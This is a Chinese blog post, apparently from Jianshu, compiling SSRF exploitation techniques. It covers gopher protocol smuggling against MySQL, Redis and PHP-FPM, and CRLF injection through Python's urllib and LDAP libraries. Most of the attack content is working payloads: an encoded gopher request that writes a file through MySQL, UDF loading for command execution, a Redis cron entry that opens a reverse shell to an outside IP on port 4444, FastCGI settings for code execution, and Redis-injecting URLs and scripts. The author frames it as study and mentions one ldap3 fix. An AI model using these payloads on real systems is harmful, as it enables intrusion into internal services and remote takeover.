SSRF攻擊姿勢匯總

前言

這是很早就整理的筆記,今天想起來發(fā)到博客上,還是要保持寫文章總結(jié)的習(xí)慣啊。 最近筆者在看講SSRF、protocol smuggle、HTTP request smuggle、SSO任意跳轉(zhuǎn),Url解析不一致導(dǎo)致的安全問題。一方面由衷地佩服演講人的腦洞和安全功底,另外一方面又在筆者又在反思,如果是我,我會怎么去發(fā)現(xiàn)此類漏洞,解決方案又是什么。本文不同于各大公眾號千篇一律的復(fù)現(xiàn)、驗(yàn)證漏洞文章,會加入自己的思考和心得。鑒于文章會存在一些敏感內(nèi)容,筆者會本著在刪除敏感內(nèi)容的前提下,盡量讓大家都能看懂的標(biāo)準(zhǔn)去和大家一起探討這方面的知識。

在學(xué)習(xí)前之前我會給自己提出來如下問題:

1.漏洞的本質(zhì)到底什么

2.應(yīng)該如何防御

3.如何發(fā)現(xiàn)同類漏洞,如何自動化找到此類漏洞甚至0day

什么是SSRF

SSRF(Server-Side Request Forgery:服務(wù)器端請求偽造) 是一種由攻擊者構(gòu)造形成由服務(wù)端發(fā)起請求的一個(gè)安全漏洞。一般情況下,SSRF攻擊的目標(biāo)是從外網(wǎng)無法訪問的內(nèi)部系統(tǒng)。(正是因?yàn)樗怯煞?wù)端發(fā)起的,所以它能夠請求到與它相連而與外網(wǎng)隔離的內(nèi)部系統(tǒng))。

<?php

$ch = curl_init();

? ? curl_setopt($ch, CURLOPT_URL, $_GET['url']);

? ? #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

? ? curl_setopt($ch, CURLOPT_HEADER, 0);

? ? #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);

? ? $data =curl_exec($ch);

? ? curl_close($ch);

? ? echo $data;

?>

很多介紹SSRF的文章都會以這個(gè)作為演示Demo,可以看看curl支持哪些協(xié)議:curl-config –protocols

DICT

FILE

FTP

FTPS

GOPHER

HTTP

HTTPS

IMAP

IMAPS

LDAP

LDAPS

POP3

POP3S

RTSP

SMB

SMBS

SMTP

SMTPS

TELNET

TFTP

看到Orange Thai 在blackhat中發(fā)表的演講《A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! 》中將講解了fuzz思路和利用方法,結(jié)合本人的一些理解,將從按照協(xié)議走私的方式來分析利用方式。

利用gopher協(xié)議

gopher協(xié)議背景介紹

一、Gopher是Internet上一個(gè)非常有名的信息查找系統(tǒng),它將Internet上的文件組織成某種索引,很方便地將用戶從Internet的一處帶到另一處。在WWW出現(xiàn)之前,Gopher是Internet上最主要的信息檢索工具,Gopher站點(diǎn)也是最主要的站點(diǎn),使用tcp70端口。但在WWW出現(xiàn)后,Gopher失去了昔日的輝煌?,F(xiàn)在它基本過時(shí),人們很少再使用它;二、地鼠Gopher(谷佛)是迪士尼卡通人物之一。

opher協(xié)議是個(gè)tcp/ip協(xié)議,通過gopher協(xié)議可以發(fā)送tcp stream做的事情。比如我們操作mysql,操作redis,甚至使用smtp協(xié)議發(fā)送郵件等等都可以通過轉(zhuǎn)換成gopher協(xié)議達(dá)到一樣的效果。

gopher protocol smuggle

gopher協(xié)議是萬金油,通過protocol smuggle能執(zhí)行轉(zhuǎn)換成太多協(xié)議

攻擊mysql

首先為了實(shí)驗(yàn)環(huán)境演示盡可能簡單,mysql高于5.7需要關(guān)閉mysql tls,保證mysql為空密碼,關(guān)閉tls方法如下

mysql> SHOW VARIABLES LIKE '%ssl%';

+---------------+-----------------+

| Variable_name | Value? ? ? ? ? |

+---------------+-----------------+

| have_openssl? | YES? ? ? ? ? ? |

| have_ssl? ? ? | YES? ? ? ? ? ? |

| ssl_ca? ? ? ? | ca.pem? ? ? ? ? |

| ssl_capath? ? |? ? ? ? ? ? ? ? |

| ssl_cert? ? ? | server-cert.pem |

| ssl_cipher? ? |? ? ? ? ? ? ? ? |

| ssl_crl? ? ? |? ? ? ? ? ? ? ? |

| ssl_crlpath? |? ? ? ? ? ? ? ? |

| ssl_key? ? ? | server-key.pem? |

+---------------+-----------------+

9 rows in set (0.00 sec)

編輯配置文件:?/path/to/file/my.cnf

[mysqld]

...

skip_ssl

# disable_ssl

很多文章也介紹了如何通過wireshark 抓包然后轉(zhuǎn)換成gopher協(xié)議的文章,比如https://paper.seebug.org/510/

或者如果你嫌棄麻煩,直接使用大佬開發(fā)的工具https://xz.aliyun.com/t/5844即可,協(xié)議怎么轉(zhuǎn)成gopher協(xié)議,本文不展開。

secure_file_priv和寫目錄不受任何限制的情況下

如果不受secure_file_priv和任何目錄的限制,可以直接是導(dǎo)出webshell,導(dǎo)出crontab任務(wù),導(dǎo)入udf并反彈shell

show global variables like '%secure_file_priv%';

mysql> show global variables like '%secure_file_priv%';

+------------------+-----------------------+

| Variable_name? ? | Value? ? ? ? ? ? ? ? |

+------------------+-----------------------+

| secure_file_priv | /var/lib/mysql-files/ |

+------------------+-----------------------+

1 row in set (0.00 sec)

所以可以直接執(zhí)行

mysql -h 127.0.0.1 -uroot -e "select 'hello' into outfile '/var/lib/mysql-files/eval.php'";

轉(zhuǎn)換成gopher協(xié)議利用即可

curl gopher://127.0.0.1:3306/_%a1%00%00%01%85%a2%3f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%64%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%03%32%34%31%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%36%2e%34%36%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%3c%00%00%00%03%73%65%6c%65%63%74%20%27%68%65%6c%6c%6f%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%6c%69%62%2f%6d%79%73%71%6c%2d%66%69%6c%65%73%2f%65%76%61%6c%2e%70%68%70%27%01%00%00%00%01

udf攻擊

mysql> show variables like "%plugin%";

+---------------+------------------------+

| Variable_name | Value? ? ? ? ? ? ? ? ? |

+---------------+------------------------+

| plugin_dir? ? | /usr/lib/mysql/plugin/ |

+---------------+------------------------+

1 row in set (0.00 sec)

查看版本和操作系統(tǒng)到https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql下載

mysql> select @@version_compile_os, @@version_compile_machine;

+----------------------+---------------------------+

| @@version_compile_os | @@version_compile_machine |

+----------------------+---------------------------+

| Linux? ? ? ? ? ? ? ? | x86_64? ? ? ? ? ? ? ? ? ? |

+----------------------+---------------------------+

1 row in set (0.00 sec)

方便演示直接從sqlmap中復(fù)制出udf.so文件,實(shí)際攻擊中可以使用gopher +mysql導(dǎo)出,前提是/usr/lib/mysql/plugin/目錄有導(dǎo)出權(quán)限

select hex(load_file('/var/lib/mysql-files/mysqludf.so')) into outfile '/var/lib/mysql-files/udf.txt';

select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';

查看一下so文件中支持哪些函數(shù)

nm -D /usr/lib/mysql/plugin/mysqludf.so

導(dǎo)入函數(shù)

create Function sys_eval returns string soname 'mysqludf.so';

select sys_eval ('whoami');

secure_file_priv受到限制

如果secure_file_priv受到限制可以使用https://www.freebuf.com/column/150308.html的方法去getshell。除此之外還可以爆破mysql密碼之類的。

攻擊redis

set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/101.198.180.248/4444 0>&1\n\n"

config set dir /var/spool/cron/

config set dbfilename root

save

set x "777"

config set dir /data/

config set dbfilename just66

save

老生常談,很多文章都詳細(xì)介紹了,這里不做展開,轉(zhuǎn)換成gopher協(xié)議即可。

mongodb

資料較少

zoomkeeper

參考http://www.polaris-lab.com/index.php/archives/41/學(xué)習(xí)

攻擊PFM

總結(jié)如下,通過fastcgi協(xié)議控制PHP環(huán)境變量,達(dá)到在任何php腳本執(zhí)行之前執(zhí)行我們要執(zhí)行的代碼

{

? ? 'GATEWAY_INTERFACE': 'FastCGI/1.0',

? ? 'REQUEST_METHOD': 'GET',

? ? 'SCRIPT_FILENAME': '/var/www/html/index.php',

? ? 'SCRIPT_NAME': '/index.php',

? ? 'QUERY_STRING': '?a=1&b=2',

? ? 'REQUEST_URI': '/index.php?a=1&b=2',

? ? 'DOCUMENT_ROOT': '/var/www/html',

? ? 'SERVER_SOFTWARE': 'php/fcgiclient',

? ? 'REMOTE_ADDR': '127.0.0.1',

? ? 'REMOTE_PORT': '12345',

? ? 'SERVER_ADDR': '127.0.0.1',

? ? 'SERVER_PORT': '80',

? ? 'SERVER_NAME': "localhost",

? ? 'SERVER_PROTOCOL': 'HTTP/1.1'

? ? 'PHP_VALUE': 'auto_prepend_file = php://input',

? ? 'PHP_ADMIN_VALUE': 'allow_url_include = On'

}

找到一個(gè)已存在的PHP文件

設(shè)置 auto_prepend_file 為 php://input 且 allow_url_include = On,在執(zhí)行任何php文件前都要包含一遍POST的內(nèi)容,把待執(zhí)行的代碼放在Body中

或者 auto_prepend_file 為 自己的vps地址

繞過 disable_functions RCE

可以引入擴(kuò)展 .so文件 ,hook函數(shù),達(dá)到繞過 disable_functions 來RCE的效果

PHP_ADMIN_VALUE[‘extension’] = hack.so

生成 .so

攻擊SYSLOG

可以寫日志,這點(diǎn)略過

利用http協(xié)議

如果不打算從協(xié)議角度突破那就是可以利用出各種基于http協(xié)議web應(yīng)用或者中間件或者服務(wù),比如spring,zabbix等等

http protocol smuggle

思考一下,很多情況下,如果加入了starts with(‘http’),恰巧服務(wù)器內(nèi)網(wǎng)在存在體態(tài)未授權(quán)的redis,我該怎么利用?除了可以利用302跳轉(zhuǎn),還可以想辦法進(jìn)行protocol smuggle,302跳轉(zhuǎn)不在我們本次討論的范圍。我們考慮點(diǎn)應(yīng)該是如何使用protocol smuggle,讓http做其他協(xié)議能做的事情?

在實(shí)際場景中,不同語言利用自己的工具包發(fā)送http請求。比如python中用httplib,urllib,urllib2,requests,java中用net.URL,ruby會使用Net::HTTP等等。下面來針對此類發(fā)送http工具能否protocol smuggle執(zhí)行fuzz,換言之是否能夠利用http協(xié)議來做操作redis,ftp,mysql等等,這一個(gè)過程我們怎么去fuzz?。

思考

我該如何進(jìn)行fuzz,這些需要捋清思路。根據(jù)RFC 3986規(guī)范,正常來說一個(gè)URL應(yīng)該找這樣。我們考慮在authority、path中插入%0D%0A或者其他字符看看能否達(dá)到protocol smuggle的標(biāo)準(zhǔn)。這部分可以寫一個(gè)程序去fuzz,具體大家也可以自己實(shí)現(xiàn)一遍。Orange還在PPT提到,在NodeJs中,CLRF被過濾了,但是使用http://127.0.0.1:6379/ -SLAVEOF @orange.tw@ 6379-仍然能夠進(jìn)行protocol smuggle。

可以通過fuzz出不同語言http請求工具庫解析造成的protocol smuggle,這部分知道思路之后可以自己寫一個(gè)工具去fuzz,我只fuzz了python3下的urllib,fuzz出如下 %09 %0a %0d %20任意組合可以達(dá)到protocol smuggle的效果,我準(zhǔn)備了0-167的ascii碼作為字符組合進(jìn)行fuzz,這個(gè)需要提到是開發(fā)用的tcp服務(wù)器需要用nio來寫提高吞吐率。

其中fuzz到很多,下聯(lián)列出兩條

http://127.0.0.1:6379/%09%0aHost:baidu.com%09%0a=>http://127.0.0.1:6379/\t\nHost:baidu.com\t\n

http://127.0.0.1:6379/%20%09Host:baidu.com%20%09=>http://127.0.0.1:6379/ \tHost:baidu.com \t

攻擊redis

針對python 中的

import urllib

import urllib.error

import urllib.request

if __name__=="__main__":

? ? url1 = "http://10.211.55.2:6379/a\r\nHost:baidu.com\r\n"#老的

? ? url3 = "http://ssrf_redis_host:6379/\t\nSET test success\t\na"

? ? urllib.request.urlopen(url3).code

未授權(quán)redis中被寫入成功

root@19e4c139fc3e:/data# redis-cli

127.0.0.1:6379> KEYS *

1) "test"

127.0.0.1:6379> GET test

"success"

127.0.0.1:6379>

其實(shí)只要整理好思路,針對不同語言的也是類似的fuzz過程,fuzz完之后給python官方提了個(gè)issue。

攻擊syslog

略過,關(guān)于更多方式可以見https://hackerone.com/reports/115748

利用LDAP協(xié)議

還有一種場景就是,很多開源系統(tǒng)中會存在LDAP測試連接,這個(gè)地方的ssrf結(jié)合csrf也可以被用來進(jìn)行利用。還是以python中的python-ldap包為例,可以

import ldap

conn = ldap.initialize("ldap://127.0.0.1:6379")

conn.simple_bind_s("\r\nSET test1 success\r\n", "admin88")

結(jié)果如下

root@1ca44b41ffcf:/data# redis-cli

127.0.0.1:6379> KEYS *

(empty list or set)

127.0.0.1:6379> KEYS *

1) "test1"

127.0.0.1:6379> KEYS *

1) "test1"

127.0.0.1:6379> GET test1

"success"

127.0.0.1:6379>

如果使用的是ldap3,效果如下

from ldap3 import Server, Connection, ALL, SUBTREE, ServerPool

ldap_server_pool = ServerPool("ldap://10.211.55.2:6379")

conn = Connection(ldap_server_pool, user="\r\nSET ldap3 success\r\n", password="pass", check_names=True, lazy=False,

? ? ? ? ? ? ? ? ? raise_exceptions=True)

conn.bind()

127.0.0.1:6379> KEYS *

1) "ldap3"

2) "test"

3) "test1"

127.0.0.1:6379>

修復(fù)方式也很簡單,直接在bind之前,執(zhí)行下open函數(shù),open函數(shù)會做一次校驗(yàn)

from ldap3 import Server, Connection, ALL, SUBTREE, ServerPool

ldap_server_pool = ServerPool("ldap://10.211.55.2:6379")

conn = Connection(ldap_server_pool, user="\r\nSET ldap4 success\r\n", password="pass", check_names=True, lazy=False,

? ? ? ? ? ? ? ? ? raise_exceptions=True)

conn.open()

conn.bind()

效果如下

127.0.0.1:6379> KEYS *

(empty list or set)

##利用DICT協(xié)議

不展開

參考資料

https://github.com/orangetw/Tiny-URL-Fuzzer

https://paper.seebug.org/510/

https://www.cnblogs.com/0xdd/p/11181490.html

https://www.freebuf.com/articles/web/159342.html

http://www.itdecent.cn/p/fd27f0eedccf

https://joychou.org/web/phpssrf.html#directory099269053851112076

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

https://github.com/w181496/FuckFastcgi/

https://www.silentrobots.com/blog/2019/02/06/ssrf-protocol-smuggling-in-plaintext-credential-handlers-ldap/

https://www.imooc.com/article/45057

http://www.cppcns.com/shujuku/mysql/110209.html

https://blog.zeddyu.info/2019/12/08/HTTP-Smuggling-en/

https://bugs.python.org/issue30458

http://regilero.github.io/security/english/2015/10/04/http_smuggling_in_2015_part_one/

https://github.com/python/cpython/commit/cc54c1c0d2d05fe7404ba64c53df4b1352ed2262

https://github.com/ONsec-Lab/scripts/blob/master/http-splitter-fuzzer.php

https://github.com/alibaba/Sentinel/commit/6f5ede80ae0df34d8063d475204629c3fce50927

常見的端口和服務(wù)https://mp.weixin.qq.com/s/lTz88XIt9CMdyppSePBAHQ

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 前言 這是很早就整理的筆記,今天想起來發(fā)到博客上,還是要保持寫文章總結(jié)的習(xí)慣啊。 最近筆者在看講SSRF、prot...
    CanMeng閱讀 793評論 0 1
  • 一、weblogic ssrf攻擊redis Weblogic中存在一個(gè)SSRF漏洞,利用該漏洞可以發(fā)送任意HTT...
    Instu閱讀 3,904評論 2 0
  • 全稱Server-Side Request Forgery服務(wù)器端請求偽造,是一種經(jīng)攻擊者構(gòu)造形成由服務(wù)端發(fā)起請求...
    jjf012閱讀 1,942評論 0 0
  • 旨在解決滲透測試中遇到的各種疑難問題### 測試目標(biāo)分類:WEB,APP,PC,SERVER等APP:1.利用抓包...
    曾經(jīng)那個(gè)少年_閱讀 2,519評論 1 0
  • 問:Sql 注入無回顯的情況下,利用 DNSlog,mysql 下利用什么構(gòu)造代碼,mssql 下又如何? 答: ...
    唐小風(fēng)7閱讀 837評論 0 2

友情鏈接更多精彩內(nèi)容